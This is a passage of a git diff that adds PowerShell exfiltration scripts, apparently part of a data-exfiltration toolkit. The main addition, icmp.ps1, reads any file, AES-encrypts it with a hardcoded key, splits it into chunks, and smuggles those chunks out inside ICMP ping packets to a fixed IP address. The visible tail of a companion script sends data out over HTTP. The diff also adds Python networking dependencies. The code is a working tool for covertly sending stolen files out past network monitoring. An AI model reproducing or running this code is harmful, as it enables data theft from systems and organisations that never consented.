+ $q = Send-HTTPRequest $data $IE
+};
+
+function Base64 {
+ param ([string] $data)
+ $Bytes = [System.Text.Encoding]::ASCII.GetBytes($data)
+ return [Convert]::ToBase64String($Bytes)
+}
+
+function AES {
+ param ([byte[]] $data)
+
+ $key = "THISISACRAZYKEY"
+ $sha256 = New-Object System.Security.Cryptography.SHA256Managed
+
+ $AES = New-Object System.Security.Cryptography.AesManaged
+ $AES.Mode = [System.Security.Cryptography.CipherMode]::CBC
+ $AES.BlockSize = 128
+ $AES.KeySize = 256
+ $AES.Padding = "PKCS7"
+ $AES.Key = [Byte[]] $sha256.ComputeHash([Text.Encoding]::ASCII.GetBytes($key))
+
+ $IV = new-object "System.Byte[]" 16
+ $RNGCrypto = New-Object System.Security.Cryptography.RNGCryptoServiceProvider
+ $RNGCrypto.GetBytes($IV)
+ $AES.IV = $IV
+
+ $Encryptor = $AES.CreateEncryptor()
+
+ return ($IV + $encryptor.TransformFinalBlock($data, 0, $data.Length))
+};
+
+function Convert-ToCHexString {
+ param ([String] $str)
+ $ans = ''
+ [System.Text.Encoding]::ASCII.GetBytes($str) | % { $ans += "{0:X2}" -f $_ }
+ return $ans;
+}
\ No newline at end of file
diff --git a/powershell/icmp.ps1 b/powershell/icmp.ps1
new file mode 100644
index 0000000..5ccf002
--- /dev/null
+++ b/powershell/icmp.ps1
@@ -0,0 +1,88 @@
+function Send-ICMPPacket {
+ param ([string] $data)
+ $data = Base64 $data;
+ $IPAddress = '192.168.0.17'
+
+ $ICMPClient = New-Object System.Net.NetworkInformation.Ping
+ $PingOptions = New-Object System.Net.NetworkInformation.PingOptions
+ $PingOptions.DontFragment = $True
+
+ $sendbytes = ([text.encoding]::ASCII).GetBytes($data)
+ $ICMPClient.Send($IPAddress,60 * 1000, $sendbytes, $PingOptions) | Out-Null
+ Start-Sleep -s 1;
+};
+
+function ICMP-exfil
+{
+ param ([string] $file)
+ $bytes = [System.IO.File]::ReadAllBytes($file)
+ $md5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider
+ $hash = [System.BitConverter]::ToString($md5.ComputeHash($bytes))
+ $hash = $hash -replace '-','';
+ $filename = Split-Path $file -leaf
+ $data = [System.IO.File]::ReadAllBytes($file);
+ $data = AES $data
+ $string = [System.BitConverter]::ToString($data);
+ $string = $string -replace '-','';
+ $len = $string.Length;
+ #$split = Get-Random -minimum 1 -maximum 250;
+ $split = 1000
+ $id = 0
+ $repeat=[Math]::Ceiling($len/$split);
+ $remainder=$len%$split;
+ $jobid = [System.Guid]::NewGuid().toString().Substring(0, 7)
+ $data = $jobid + '|!|' + $filename + '|!|REGISTER|!|' + $hash
+ $q = Send-ICMPPacket $data
+ for($i=0; $i-lt($repeat-1); $i++){
+ $str = $string.Substring($i * $Split, $Split);
+ $data = $jobid + '|!|' + $i + '|!|' + $str
+ $q = Send-ICMPPacket $data
+ };
+ if($remainder){
+ $str = $string.Substring($len-$remainder);
+ $i = $i +1
+ $data = $jobid + '|!|' + $i + '|!|' + $str
+ $q = Send-ICMPPacket $data
+ };
+
+ $i = $i + 1
+ $data = $jobid + '|!|' + $i + '|!|DONE'
+ $q = Send-ICMPPacket $data
+};
+
+function Base64 {
+ param ([string] $data)
+ $Bytes = [System.Text.Encoding]::ASCII.GetBytes($data)
+ return [Convert]::ToBase64String($Bytes)
+}
+
+function AES {
+ param ([byte[]] $data)
+
+ $key = "THISISACRAZYKEY"
+ $sha256 = New-Object System.Security.Cryptography.SHA256Managed
+
+ $AES = New-Object System.Security.Cryptography.AesManaged
+ $AES.Mode = [System.Security.Cryptography.CipherMode]::CBC
+ $AES.BlockSize = 128
+ $AES.KeySize = 256
+ $AES.Padding = "PKCS7"
+ $AES.Key = [Byte[]] $sha256.ComputeHash([Text.Encoding]::ASCII.GetBytes($key))
+
+ $IV = new-object "System.Byte[]" 16
+ $RNGCrypto = New-Object System.Security.Cryptography.RNGCryptoServiceProvider
+ $RNGCrypto.GetBytes($IV)
+ $AES.IV = $IV
+
+ $Encryptor = $AES.CreateEncryptor()
+
+ return ($IV + $encryptor.TransformFinalBlock($data, 0, $data.Length))
+};
+
+function Convert-ToCHexString
+{
+ param ([String] $str)
+ $ans = ''
+ [System.Text.Encoding]::ASCII.GetBytes($str) | % { $ans += "{0:X2}" -f $_ }
+ return $ans;
+};
\ No newline at end of file
diff --git a/requirements.txt b/requirements.txt
index 8dc9e9f..62ec254 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -1,6 +1,8 @@
tweepy
-scapy
pysocks
dnslib
pycrypto
-slackclient
\ No newline at end of file
+slackclient
+dpkt>=1.9.1
+pyftpdlib
+email